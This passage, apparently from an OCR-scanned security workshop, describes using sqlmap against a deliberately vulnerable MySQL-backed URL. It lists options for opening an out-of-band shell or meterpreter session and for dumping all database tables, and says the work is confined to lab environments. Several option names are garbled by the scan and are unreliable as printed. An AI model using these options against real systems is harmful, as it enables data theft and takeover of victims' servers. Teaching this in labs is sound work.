--0S-pwn Prompt for an OOB shell, meterpreter or VNC
General:

These options can be used to set some general working parameters

--pbatch Never ask for user input, use the default behaviour
--flush-session Flush session files for current target

Miscellaneous:
--wizard Simple wizard interface for beginner users

Below is the command line execution

&) @ sglmap — bash — 94x20
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We will give a vulnerable link, which has MySQL server running in
background so that we can demonstrate how quickly it works.

We have executed the target vulnerable URL, which we believe it’'s

running backend database as MySQL and notice the same with SQLMAP.
Results are shown below.

lene® sqimap — Python — 101x33

[21:51:36] [WARNING] using '/Users/raheelahmad/.sqlmap/output’' as the output directory

You can notice that the backend database detected is MySQL server, and
you can play this server and dump all the content automatically with the
following switches:

--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries

Moreover, you can take the shell on the victim machine too, however, and
can play with it in your virtual lab. Or if you want a more advanced
workshop which can lead to complete owning of underlying operating
system as well than do post on the forum so that we can bring that for
you separately in upcoming workshops, we can not execute this on live
web applications, however, we will develop the wvulnerable lab
environment for dedicated labs with more advanced techniques.

We hope this workshop has been informative for you and we thank you for
completing this workshop.
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